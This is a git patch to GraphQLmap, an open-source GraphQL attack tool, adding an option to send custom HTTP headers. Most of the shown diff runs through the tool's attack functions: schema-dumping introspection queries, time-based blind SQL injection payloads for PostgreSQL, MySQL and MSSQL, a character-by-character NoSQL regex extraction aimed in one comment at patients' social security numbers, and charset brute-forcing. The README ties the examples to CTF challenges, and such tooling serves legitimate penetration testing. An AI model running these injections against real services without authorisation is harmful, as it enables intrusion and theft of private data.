From 81a8080cc68b3326f53199f0533fc5a2b82eea25 Mon Sep 17 00:00:00 2001 From: William Aristea Tantiono Date: Mon, 3 Feb 2020 16:54:08 +0700 Subject: [PATCH] Add option to add header to requests made --- README.md | 17 ++++++++++++----- attacks.py | 38 +++++++++++++++++++------------------- graphqlmap.py | 29 ++++++++++++++++------------- utils.py | 7 ++++--- 4 files changed, 51 insertions(+), 40 deletions(-) diff --git a/README.md b/README.md index 8433f13..237c771 100644 --- a/README.md +++ b/README.md @@ -31,13 +31,14 @@ $ python graphqlmap.py | | | | |_| |_| Author:Swissky Version:1.0 -usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] +usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] optional arguments: - -h, --help show this help message and exit - -u URL URL to query : example.com/graphql?query={} - -v [VERBOSITY] Enable verbosity - --method [METHOD] HTTP Method to use interact with /graphql endpoint + -h, --help show this help message and exit + -u URL URL to query : example.com/graphql?query={} + -v [VERBOSITY] Enable verbosity + --method [METHOD] HTTP Method to use interact with /graphql endpoint + --headers [HEADERS] HTTP Headers sent to /graphql endpoint ``` @@ -45,6 +46,12 @@ optional arguments: :warning: Examples are based on several CTF challenges from HIP2019. +### Connect to a graphql endpoint + +``` +python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}' +``` + ### Dump a GraphQL schema Use `dump` to dump the GraphQL schema, this function will automaticly populate the "autocomplete" with the found fields. diff --git a/attacks.py b/attacks.py index 460a989..72abfe6 100644 --- a/attacks.py +++ b/attacks.py @@ -8,16 +8,16 @@ import sys import time from utils import * -def display_types(URL, method): +def display_types(URL, method, headers): payload = "{__schema{types{name}}}" - r = requester(URL, method, payload) + r = requester(URL, method, payload, headers) if r != None: schema = r.json() for names in schema['data']['__schema']['types']: print(names) -def dump_schema(URL, method, graphversion): +def dump_schema(URL, method, graphversion, headers): """ Dump the GraphQL schema via Instrospection @@ -32,7 +32,7 @@ def dump_schema(URL, method, graphversion): else: payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}" - r = requester(URL, method, payload) + r = requester(URL, method, payload, headers) schema = r.json() print("============= [SCHEMA] ===============") @@ -77,8 +77,8 @@ def dump_schema(URL, method, graphversion): print("") -def exec_graphql(URL, method, query, only_length=0): - r = requester(URL, method, query) +def exec_graphql(URL, method, query, headers={}, only_length=0): + r = requester(URL, method, query, headers) try: graphql = r.json() errors = graphql.get("errors") @@ -107,7 +107,7 @@ def exec_graphql(URL, method, query, only_length=0): return "\033[91m[!]\033[0m {}".format(str(e)) -def exec_advanced(URL, method, query): +def exec_advanced(URL, method, query, headers): print(query) # Allow a user to bruteforce character from a charset @@ -115,7 +115,7 @@ def exec_advanced(URL, method, query): if "GRAPHQL_CHARSET" in query: GRAPHQL_CHARSET = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~" for c in GRAPHQL_CHARSET: - length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), only_length=1) + length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1) print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c))) @@ -127,40 +127,40 @@ def exec_advanced(URL, method, query): for i in range(int(match[0])): pattern = "GRAPHQL_INCREMENT_" + match[0] - length = exec_graphql(URL, method, query.replace(pattern, str(i)), only_length=1) + length = exec_graphql(URL, method, query.replace(pattern, str(i)), headers, only_length=1) print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i)))) # Otherwise execute the query and display the JSON result else: - print(exec_graphql(URL, method, query)) + print(exec_graphql(URL, method, query, headers)) -def blind_postgresql(URL, method): +def blind_postgresql(URL, method, headers): query = input("Query > ") payload = "1 AND pg_sleep(30) --" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time())))) injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload) - r = requester(URL, method, injected) + r = requester(URL, method, injected, headers) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time())))) -def blind_mysql(URL, method): +def blind_mysql(URL, method, headers): query = input("Query > ") payload = "'-SLEEP(30); #" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time())))) injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload) - r = requester(URL, method, injected) + r = requester(URL, method, injected, headers) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time())))) -def blind_mssql(URL, method): +def blind_mssql(URL, method, headers): query = input("Query > ") payload = "'; WAITFOR DELAY '00:00:30';" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time())))) injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload) - r = requester(URL, method, injected) + r = requester(URL, method, injected, headers) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time())))) -def blind_nosql(URL, method): +def blind_nosql(URL, method, headers): # Query : {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} # Check : "5d089c51dcab2d0032fdd08d" @@ -173,7 +173,7 @@ def blind_nosql(URL, method): while len(data) != data_size: for c in charset: injected = query.replace("BLIND_PLACEHOLDER", data + c) - r = requester(URL, method, injected) + r = requester(URL, method, injected, headers) if check in r.text: data += c @@ -181,4 +181,4 @@ def blind_nosql(URL, method): print("\r\033[92m[+] Data found:\033[0m {}".format(data), end='', flush=False) # force a line return to clear the screen after the data trick - print("") \ No newline at end of file + print("") diff --git a/graphqlmap.py b/graphqlmap.py index cbe35f4..a6360ae 100755 --- a/graphqlmap.py +++ b/graphqlmap.py @@ -16,6 +16,7 @@ class GraphQLmap(object): method = "POST" args = None url = None + headers = None def __init__(self, args): print(" _____ _ ____ _ ") @@ -26,46 +27,48 @@ class GraphQLmap(object): print(" \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ ") print(" | | | | ") print(" |_| |_| ") - print(" "*30 + f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ") + print(" "*30, end='') + print(f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ") self.args = args self.url = args.url self.method = args.method + self.headers = None if not args.headers else json.loads(args.headers) while True: query = input("GraphQLmap > ") cmdlist.append(query) - if query == "exit" or query == "q": + if query == "exit" or query == "q": exit() elif query == "help": display_help() - + elif query == "debug": - display_types(self.url, self.method) + display_types(self.url, self.method, self.headers) elif query == "dump_new": - dump_schema(self.url, self.method, 15) + dump_schema(self.url, self.method, 15, self.headers) elif query == "dump_old": - dump_schema(self.url, self.method, 14) + dump_schema(self.url, self.method, 14, self.headers) elif query == "nosqli": - blind_nosql(self.url, self.method) + blind_nosql(self.url, self.method, self.headers) elif query == "postgresqli": - blind_postgresql(self.url, self.method) + blind_postgresql(self.url, self.method, self.headers) elif query == "mysqli": - blind_mysql(self.url, self.method) - + blind_mysql(self.url, self.method, self.headers) + elif query == "mssqli": - blind_mssql(self.url, self.method) + blind_mssql(self.url, self.method, self.headers) else: - exec_advanced(args.url, self.method, query) + exec_advanced(args.url, self.method, query, self.headers) if __name__ == "__main__": readline.set_completer(auto_completer) readline.parse_and_bind("tab: complete") args = parse_args() - GraphQLmap(args) \ No newline at end of file + GraphQLmap(args) diff --git a/utils.py b/utils.py index a65e342..96d30f4 100644 --- a/utils.py +++ b/utils.py @@ -21,12 +21,12 @@ def jq(data): return json.dumps(data, indent=4, sort_keys=True) -def requester(URL, method, payload): +def requester(URL, method, payload, headers=None): if method == "POST": data = { "query": payload.replace("+", " ") } - r = requests.post(URL, data=data, verify=False) + r = requests.post(URL, data=data, verify=False, headers=headers) if r.status_code == 500: print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m") return None @@ -40,7 +40,8 @@ def parse_args(): parser.add_argument('-u', action ='store', dest='url', help="URL to query : example.com/graphql?query={}") parser.add_argument('-v', action ='store', dest='verbosity', help="Enable verbosity", nargs='?', const=True) parser.add_argument('--method', action ='store', dest='method', help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET") - results = parser.parse_args() + parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", nargs='?', const=True, type=str) + results = parser.parse_args() if results.url == None: parser.print_help() exit()